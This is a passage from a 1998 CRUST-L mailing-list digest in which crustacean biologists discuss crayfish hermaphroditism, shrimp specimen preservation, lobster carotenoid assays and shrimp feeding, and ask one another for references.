Storia Naturale, Verona 3: 147-= 155. Ruffo, S. & Vigna Taglianti, A. (1973). Three new subterranean Bogidiella= from Mexico and Guatemala (Crustacea, Amphipoda). Subterranean fauna of = Mexico, II.--Accademia Nazionale dei Lincei 171: 105-133. Ruffo, S. & Vigna Taglianti, A. (1975). Una nuova Bogidiella della Sardeg= na.--Fragmenta entomologica, Roma, 11: 73-82. Ruffo, S. & Vigna Taglianti, A. (1977). Secondo contributo alla conoscenz= a del genere Bogidiella in Messico e Guatemala (Crustacea, Amphipoda, Gam= maridae). Subterranean fauna of Mexico, III.--Accademia Nazionale dei Lin= cei 171: 125-172. Ruffo, S. (1963). Studi sui Crostacei Anfipodi. LVII. Una nuova specie di= Bogidiella (Crust. Amphipoda) della depressione del Mar Morto.--Bulletin= of the Research Council of Israel 11 B: 188-195. Ruffo, S. (1970). Bogidiella somala n. sp. delle acque sotterranee della = Somalia (Crustacea Amphipoda).-- Monitore Zoologico Italiano 3: 159-171. Ruffo, S. (1973). Studi sui Crostacei Anfipodi. LXXIV. Contributo alla re= visione del genere Bogidiella Hertzog (Crustacea Amphipoda, Gammaridae).-= - -Bolletino dell' Istituto di Entomologia della Universit=85 degli Studi d= i Bologna 31: 49-77. Ruffo, S. (1974). Nuovi Anfipodi interstiziali delle coste del Sud Africa= .--Atti dell' Istituto Veneto di Scienze, Lettere ed Arti 132: 399-419. Ruffo, S. (1982). Gli Anfipodi delle acque sotterranee italiane.--Lavori = della Societa' Italiana di Biogeografia (nuova serie) 7: 139-169. Ruffo, S. (1982). Nuovi Anfipodi di acque sotterranee della Somalia.--Mon= itore Zoologico Italiano 27: 97-113. Ruffo, S. (1984). Bogidiella nubica n. sp. from interstitial waters of th= e Sudan (Crustacea: Amphipoda). Studi sui Crostacei Anfipodi XCV.--Hydrob= iologia 110: 131-134. Ruffo, S. (1994). New stygobiont amphipods (Crustacea Amphipoda) from the= Philippine Islands. Studies on Crustacea Amphipoda CXXII.--Tropical Zool= ogy 7: 355-366. S=85nchez, E. L. (1991). Stygofauna of the Canary Islands, 22. Bogidiella= (Stygogidiella) atlantica n. sp. (Amphipoda) from interstitial waters on= the western Canary Islands.--Crustaceana, 61:113-124. Schiecke, U. (1978). Neue Amphipoda (Crustacea) vom Golf von Neapel (Ital= ia).--Bolletino Museo Civico di Storia Naturale, Verona 5: 355-368. Sket, B. (1985). Bogidiella (s. l.) gammariformis sp. n. (Amphipoda) from= Equador.--Biol. Vestn. 33: 81-88. Stock, J. H. & Iliffe, Th. M. (1987). The status of Bogidiella balearica = Dancau, 1973, a stygobiont amphipod from Mallorca.--Endins, 13: 39-46. Stock, J. H. & Notenboom, J. (1988). Five new bogidiellid Amphipoda from = Spain - the first freshwater records in the Iberian Peninsula.--Hydrobiol= ogia, 164: 75-95. Stock, J. H. & Rond=82-Broekhuizen, B. L. M. (1987). Stygofauna of the Ca= nary Islands, 3. The genus Bogidiella (Crustacea, Amphipoda).--Revue de Z= oologique Africaine 101: 439-461. Stock, J. H. & Vermeulen, J. J. (1984). Crustaces Amphipodes stygobies de= la Guadeloupe en relation avec l'histoire geologique de l'=8Cle.--Memoir= es de Biosp=82ologie 11: 265-273. Stock, J. H. & Vonk, R. (1993). Marine interstitial Amphipoda and Isopoda= (Crustacea) from Santiago, Cape Verde Islands.--Bijdragen tot de Dierkun= de 62: 21-36. Stock, J. H. (1978). Bogidiella martini, un nouvel Amphipode souterrain d= e l'Ile Saint-Martin (Antilles) et la zooge=A2graphie des Bogidiellidae.-= - -International Journal of Speleology 9: 103-113. Stock, J. H. (1981). The taxonomy and zoogeography of the family of Bogid= iellidae (Crustacea, Amphipoda), with emphasis on the West Indian taxa.--= Bijdragen tot de Dierkunde, 51: 345-374. Stock, J. H. (1983). Discovery of a bogidiellid amphipod crustacean in in= land waters of the East Indian Archipelago: Bogidiella (Medigidiella) sar= awacensis n. sp.--Crustaceana 44: 198-204. Stock, J. H. (1983). Discovery of a bogidiellid amphipod crustacean in in= land waters of the East Indian Archipelago: Bogidiella (Medigidiella) sar= awacensis n. sp.--Crustaceana 44: 198-204. Stock, J. H. (1984). First record of Bogidiellidae (Crustacea, Amphipoda)= from the Pacific: Bogidiella (Xystriogidiella n. subgen.) capricornea ne= w species from the Great Barrier Reef.--Bulletin of Marine Science 34: 38= 0-385. Stock, J. H. (1985). Bogidiellidae (Amphipoda) from Haiti and some genera= l rules on the occurrence of Crustacea Malacostraca in inland groundwater= s of the West Indies.--Stygologia 1: 208-223. Stock, J. H. (1986a). Order Amphipoda: an introduction, p. 494-496. In: B= otosaneanu, L. (ed.).--Stygofauna Mundi. E. J. Brill, Leiden. Stock, J. H. (1986b). Amphipoda: Gammarid grouping (Gammaridae s. str. se= nsu Bousfield), p. 497-503. In: Botosaneanu, L. (ed.).--Stygofauna Mundi.= E. J. Brill, Leiden. Stock, J. H. (1988). Stygofauna of the Canary Islands, 8. Amphipoda (Crus= tacea) from inland groundwaters of Fuerteventura.--Bulletin Zo=94logisch = Museum (Universiteit van Amsterdam) 11: 105-112. Stock, J. H. (1992). Bogidiella (Amphipoda) in Japanese inland waters.--C= rustaceana 62: 273-282. Stock, J. H. (1992). Discovery of the male and subgeneric status of Bogid= iella cypria Karaman, 1989 (Crustacea, Amphipoda).--Stygologia, 7: 117-11= 8. Stock, J. H. (1993). Some remarkable distribution patterns in stygobiont = Amphipoda.--Journal of Natural History 27: 807-819. Stock, J. H. (1994). A new member of the family Bogidiellidae (Crustacea,= Amphipoda) from the poikilohaline waters of Madeira.--Bocagiana 171: 1-8. Swofford, D. L. (1993). PAUP: phylogenetic analysis using parsimony, ver.= 3.1. Computer program distributed by Illinois State Natural History Surv= ey, Champaign, Illinois. Wiens, J. J. (1995). Polymorphic characters in phylogenetic systematics.-= - -Systematic Biology 44: 482-500. - --------------7977949A0A31495F7D90994A-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ludwig Buckup Date: Tue, 31 Mar 1998 13:09:37 -0300 Subject: CRUST-L: Hermaphroditism in Parastacus Hi all, especially answering to Curt Fiedler,John Short, Keith Krandall, Tom McRae and Didier Bouchon, who brought so interesting informations about protandrous hermaphroditism in crayfish. The genus Parastacus is represented in the Neotropics by 8 species. Originally it was supposed that all of them have two pairs of genital apertures (male and female simultaneously), but Rudolph (J.Crust.Biol., v.15.n.4, p.720-732,1995)verified that only few specimen of Parastacus nicoleti, from Chile, show both openings. P.nicoleti is the first described case of protandrious hermphroditism in Astacidea. Primary females occur in P.nicoleti, that means, specimen that never were males. These animals show only true female openings on the coxae of the 3rd pereiopods. But the majority of females passed through a male phase, keeping atrophied vas deferens and male genital openings during the female phase. In our research group we are studying the native brazilian species Parastacus brasiliensis (first results published: Revista Brasileira de Zoologia v.14,n.2,p.497-509,1997) and P.nicoleti (paper in preparation). All examined specimen, without exception, show both male and female genital openings and two pairs of gonoducts. Some animals with ovotestis were found during the period of reproductive inactivity. The development of the ovarian tissue can begin on the anterior or the posterior part of the gonads. All analysed females have a pair of atrofied (posterior) vas deferens, suggesting that they passed anteriorly trough a male phase, as a consequence of the activity of the androgenic hormone. All males with full functional vas deferens have also a pair of (anterior) atrofied oviducts, suggesting the existence of a potential possibility to become females. There is no critical size to become females. The gonads are totally thoracic, the two bilateral parts completely connected on the saggital plane. The anterior part is vertically elevated, lying just behind the stomach and surrounded by the hepatopancreas. The posterior part lies over se intestine and under the heart. Just my humble contribution. Ludwig Buckup =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Marcelo A. A. Pinheiro" Date: Wed, 1 Apr 1998 07:25:53 -0300 Subject: CRUST-L: Ucides cordatus researchers This is a multi-part message in MIME format. - ------=_NextPart_000_000D_01BD5D3F.6770A400 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am begining a project about biology of the mangrove crab Ucides = cordatus (growth, maturity, fecundity and embrionary stages) and I would = like to known other researchers that are working with this species to = change information. Thanks... Marcelo Pinheiro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ------=_NextPart_000_000D_01BD5D3F.6770A400 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    I am begining a project about = biology of the=20 mangrove crab Ucides cordatus (growth, maturity, fecundity and = embrionary=20 stages) and I would like to known other researchers that are working = with this=20 species to change information.
    Thanks...
     
    Marcelo Pinheiro
     
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Prof.=20 Dr. Marcelo Antonio Amaro Pinheiro
    FCAV - UNESP Campus de=20 Jaboticabal
    Depto. de Biologia Aplicada
    Rod. Carlos Tonanni, km 5 = - - CEP=20 14.870-000
    Jaboticabal (SP) - Brasil
    Fone: +55 16 3232500 (Ramal=20 230)
    Fax: +55 16 3224275
    e-mail: pinheiro@fcav.unesp.br
    ~~~~= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
    - ------=_NextPart_000_000D_01BD5D3F.6770A400-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Volker Koch" Date: 1 Apr 1998 11:31:11 +0100 Subject: CRUST-L: Hello there! My name is Volker Koch, I'm doing my doctorate thesis on mangrove crabs, mainly Ocypodidae and Grapsidae in a mangrove system in northern Brazil within a german-brazilian research project (MADAM). The main focus of my work is on 1) community dynamics, zonation ... and on 2) secondary production, population dynamics and consumption of the most important species. Field data were taken between Aug.'96 and Jan.'98. I'm starting now to analyse the data and would like to here from people who are working in the same field. I'm looking forward to hearing from you! Best regards Volker =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #131 ***************************** From owner-crust-l Thu Apr 2 15:38:39 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id PAA00570 for crust-l-digest-outgoing; Thu, 2 Apr 1998 15:35:13 -0500 Date: Thu, 2 Apr 1998 15:35:13 -0500 Message-Id: <199804022035.PAA00570@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #132 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 6 crust-l-digest Thursday, 2 April 1998 Volume 01 : Number 132 CRUST-L: MACROBRACHIUM Re: CRUST-L: Hermaphrodite discussion (FW shrimps) [none] CRUST-L: Re: your mail CRUST-L: preservation CRUST-L: Re: your mail CRUST-L: cAROTENOIDS IN HAEMOLYMPH CRUST-L: Reference CRUST-L: Sesarma curacoense in Brazil?? CRUST-L: Feeding in monodon CRUST-L: Journal Titles. Re: CRUST-L: Reference CRUST-L: preservation CRUST-L: Hormones Re: CRUST-L: Sesarma curacoense in Brazil?? ---------------------------------------------------------------------- From: OMAR PEREZ Date: Wed, 01 Apr 1998 07:51:27 -0500 Subject: CRUST-L: MACROBRACHIUM HI! MY NAME IS OMAR PEREZ AND I WORK WITH SHRIMP FECUNDITY AT UNIVERSITY OF PUERTO RICO. I WANT TO KNOW, HOW MANY MACROBRACHIUM SPECIES ARE KNOWN FOR AMERICA AND WEST INDIES? CHOUDHURY(1969) REPORTED 26 SPECIES. THANKS OMAR PEREZ UNIVERSITY OF PUERTO RICO PO BOX 23360 SAN JUAN PR 00931-3360 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Wed, 1 Apr 1998 15:42:14 +0200 () Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) On Tue, 31 Mar 1998 wdaniels@dsc.edu wrote: > > Curt, > > Although these are your humble ramblings, they are accurate. The > aberrations reported in crayfish and other decapods are sometimes the > results of physiological damage to the androgenic glands in males. > These can be due to parasitic damage or other causes. The norm for > these is to be male if the androgenic gland primordia is present and > female if not. > > Bill > --------------------------------------------------------> Hi Bill In the case of the redclaw crayfish Cherax quadricarinatus we found that the intersex individual is a functioning male with a permanently arrested ovary. Removal of the AG (done by my student Isam Khalaila) permitted ovarian maturation while the testes became arrested. I don't think that in this case the intersex species are actually males with a damaged AG. Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Sally Skelton Date: Wed, 1 Apr 1998 08:59:40 -0800 Subject: [none] I'm looking for a method of keeping the color (of shrimp) that we collect and preserve. The shrimp are collected each month but it may be months before we process the samples. By then, the spot of color on Crangon nigromacaculata may be faded or gone. Since it's a surefire identification characteristic, it would be nice to be able to see the spot a few months after the samples are collected. We preserve the samples in 5% formalin on the boat. Any ideas? Thanks Sally Skelton Department of Fish and Game Bay Delta Division 4001 N. Wilson Way Stockton, CA 95205 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Wed, 1 Apr 1998 10:26:51 -1000 Subject: CRUST-L: Re: your mail On Wed, 1 Apr 1998, Sally Skelton wrote: > I'm looking for a method of keeping the color (of shrimp) that we collect > and preserve. The shrimp are collected each month but it may be months > before we process the samples. By then, the spot of color on Crangon > nigromacaculata may be faded or gone. Since it's a surefire identification > characteristic, it would be nice to be able to see the spot a few months > after the samples are collected. We preserve the samples in 5% formalin on > the boat. Any ideas? Someone here once threw some Sodium Benzoate crystals in a bottle with alcohol preserved shrimp specimens. The crystals never quite dissolved all the way, but most of the colors remained for several months, and were still there the last time I checked. Unfortunately, I don't know if it works with formalin or have a proper recipe. Perhaps you can find papers on its use in fixative, or someone on the list can ellaborate. Good luck, Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Keith A. Crandall" Date: Wed, 01 Apr 1998 14:12:49 -0700 Subject: CRUST-L: preservation >I'm looking for a method of keeping the color (of shrimp) that we collect >and preserve. The shrimp are collected each month but it may be months >before we process the samples. By then, the spot of color on Crangon >nigromacaculata may be faded or gone. Since it's a surefire identification >characteristic, it would be nice to be able to see the spot a few months >after the samples are collected. We preserve the samples in 5% formalin on >the boat. Any ideas? The best way to preserve the coloration patterns in crustacea is by taking a color photo! Then, preserve your specimens in at least 70% EtOH. This way they have a much greater utility for future research. Once specimens are preserved in formalin, they become useless for DNA extraction. Additionally, after some time, the exoskeleton becomes very brittle so the specimens loose value for morphological analyses as well. A photo can become a perminant record of coloration pattern to be tied to a specific specimen. While I realise from personal experience that it is not convenient to carry around a camera and associated photo equipment, the results are well worth the effort. cheers, Keith Crandall =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gregory Jensen Date: Wed, 1 Apr 1998 17:48:05 -0800 (PST) Subject: CRUST-L: Re: your mail Hi I don't know of a way to retain the spot, but that species is easy to identify using the spines at the tip of the telson- quite different than those in C. nigricauda and C. alaskensis. Gregory C. Jensen University of Washington On Wed, 1 Apr 1998, Sally Skelton wrote: > I'm looking for a method of keeping the color (of shrimp) that we collect > and preserve. The shrimp are collected each month but it may be months > before we process the samples. By then, the spot of color on Crangon > nigromacaculata may be faded or gone. Since it's a surefire identification > characteristic, it would be nice to be able to see the spot a few months > after the samples are collected. We preserve the samples in 5% formalin on > the boat. Any ideas? > Thanks > Sally Skelton > Department of Fish and Game > Bay Delta Division > 4001 N. Wilson Way > Stockton, CA 95205 > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: musgrove.richard@WPO.PI.SA.GOV.AU Date: Thu, 02 Apr 1998 12:48:00 +0930 Subject: CRUST-L: cAROTENOIDS IN HAEMOLYMPH Hi Folks, I am looking at moult stage-specfic blood protein content as part of a condition study on Southern Rock Lobster. During this work I've noted the usual carotenoid (probably mainly astaxanthin) staining as the ecdysis approaches and would like to quantify this, particularly as the onset of visible pigmentation occurs before premoult. It may be that such a measure could be useful in predicting the onset of premoult. I am aware of the many other roles of astaxanthin etc., so I'm approaching with caution. I would like to know if anybody has any handy hints on blood carotenoid assays? I am using sodium citrate as the anticoagulent (because I am also looking at crude protein) and plan to use the appropriate extinction coefficient plus purified standards to calculate pigment concentration after deproteinisation with perchloric acid. Most of the literature deals with extraction from tissue and shell samples so toluene/acetone-based extracts seem to be used by default as they form part of the extraction cocktail. Note that I am also using a spectrophotometer, not HPLC. I would appreciate any advice, Many thanks, Cheers, Richard - ------------------------------------------- Dr. Richard Musgrove SARDI Aquatic Sciences, P.O. Box 120, Henley Beach, SA 5022 AUSTRALIA Ph: (08) 8200 2437 Fax: (08) 8200 2481 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Marcelo A. A. Pinheiro" Date: Thu, 2 Apr 1998 08:15:46 -0300 Subject: CRUST-L: Reference This is a multi-part message in MIME format. - ------=_NextPart_000_005B_01BD5E0F.8A0BEE40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Please, I would like to known the correct number of pages of the book = bellow. HARTNOLL, R.G. & GOULD, P. 1988. Brachyuran life history strategies and = the optimization of egg production, 1-9. In: Fincham, A.A. & Rainbow, = P.S. (ed.). Aspects of Decapod Crustacean Biology. Clarendon Press, = Oxford, ????? p. Anyone can send to me? Thanks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ------=_NextPart_000_005B_01BD5E0F.8A0BEE40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Please, I would like to known the = correct number=20 of pages of the book bellow.

    HARTNOLL, R.G. = & GOULD,=20 P. 1988. Brachyuran life history strategies and the optimization of egg=20 production, 1-9. In: Fincham, A.A. & Rainbow, P.S. (ed.). = Aspects=20 of Decapod Crustacean Biology. Clarendon Press, Oxford, ?????=20 p.

    Anyone=20 can send to me? Thanks.
     
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Prof.=20 Dr. Marcelo Antonio Amaro Pinheiro
    FCAV - UNESP Campus de=20 Jaboticabal
    Depto. de Biologia Aplicada
    Rod. Carlos Tonanni, km 5 = - - CEP=20 14.870-000
    Jaboticabal (SP) - Brasil
    Fone: +55 16 3232500 (Ramal=20 230)
    Fax: +55 16 3224275
    e-mail: pinheiro@fcav.unesp.br
    ~~~~= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
    - ------=_NextPart_000_005B_01BD5E0F.8A0BEE40-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Volker Koch" Date: 2 Apr 1998 13:19:22 +0100 Subject: CRUST-L: Sesarma curacoense in Brazil?? My name is Volker Koch, I entered the club yesterday. In northern Brazil (Para) I found a sesarmid crab which I identified as Sesarma curacoense. Although I'm not a specialist in taxonomy I'm quite sure about the identification. The other possible species (S. crassipes) is quite different and I decided on the first. I did not find a certain account of S. curacoense in Brazil, and it is not mentioned in the book of Schmidt de Mello. Does anybody has an idea wether their exists a description for Brazil or not?????? Bye Volker =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 2 Apr 1998 09:12:20 -0500 (EST) Subject: CRUST-L: Feeding in monodon Please respond to Franz Goetz and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "Franz Goetz" To: CRUST-L@vims.edu Date: Thu, 2 Apr 1998 16:05:08 +0700 Subject: Re: evaluation of feeding recommendations monodon Priority: normal X-mailer: Pegasus Mail for Win32 (v2.53/R1) Hallo list friends, I have approached you some while ago for advise concerning growth inhibitors and fungus problems in black tiger production and got some good help for this problem analysis. However the follow up of the problems faced in those days is leading to further questions specially concerning contradictory recommendations of feeding rates , frequencies of feeding, distrubution of quantities for the different feeding times and so on. We found an amazing variety in these recommendations issued by local experts and mainly feed sales representatives. I am trying now to evaluate different systems and would be happy to collect even more ( never mind if exotic) recommendations. I hope to to finally find a correlation between systems recommended by feed industry and by water conservationists. ( Industry and scientific recommendations based more on water qualitiy and biology of shrimp. Please send or fax me any recommendation accessible to you. Specially related to semi- intensive culture forms of peneus monodon in sout east asia or elsewhere. The preliminary conditions would be : - stocking densities 15 - 20 Pl ( pl 15) - soils alluvial and unspoiled - sea water based range 25 - 35 ppt salinities Also I would like to invite feed producers or marketing to participate. Thanks and a fruitfull farming to all Franz A. Goetz GAATE Goetz Aquacultural Agricultural Techniques &Engineering fax : Indonesia - 294-81422 e-mail : franz@Idola.net.id =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ADRIAN LINNANE ZOO DEPT Date: Thu, 02 Apr 1998 15:18:07 +0000 (GMT) Subject: CRUST-L: Journal Titles. Hi People, If anyone out there knows the full title of the Journals in the following refs.,I would be extremely grateful. Hadley, P.B., 1908. The behaviour of the larval and adolescent stages of the American lobster, Homarus americanus. J. Comp. Neurol. Psych. 18: 199-302. Howard, A.E., 1980. Substrate controls on the size composition of lobster Homarus gammarus populations. J. Cons. int. Explor. Mer. 39: 130-133. Wentworth, C.K., 1936. An analysis of shapes of glacial cobbles. J. Sediment. Petrol., 6: 85-96. With Thanks, Adrian Linnane, Martin Ryan Marine 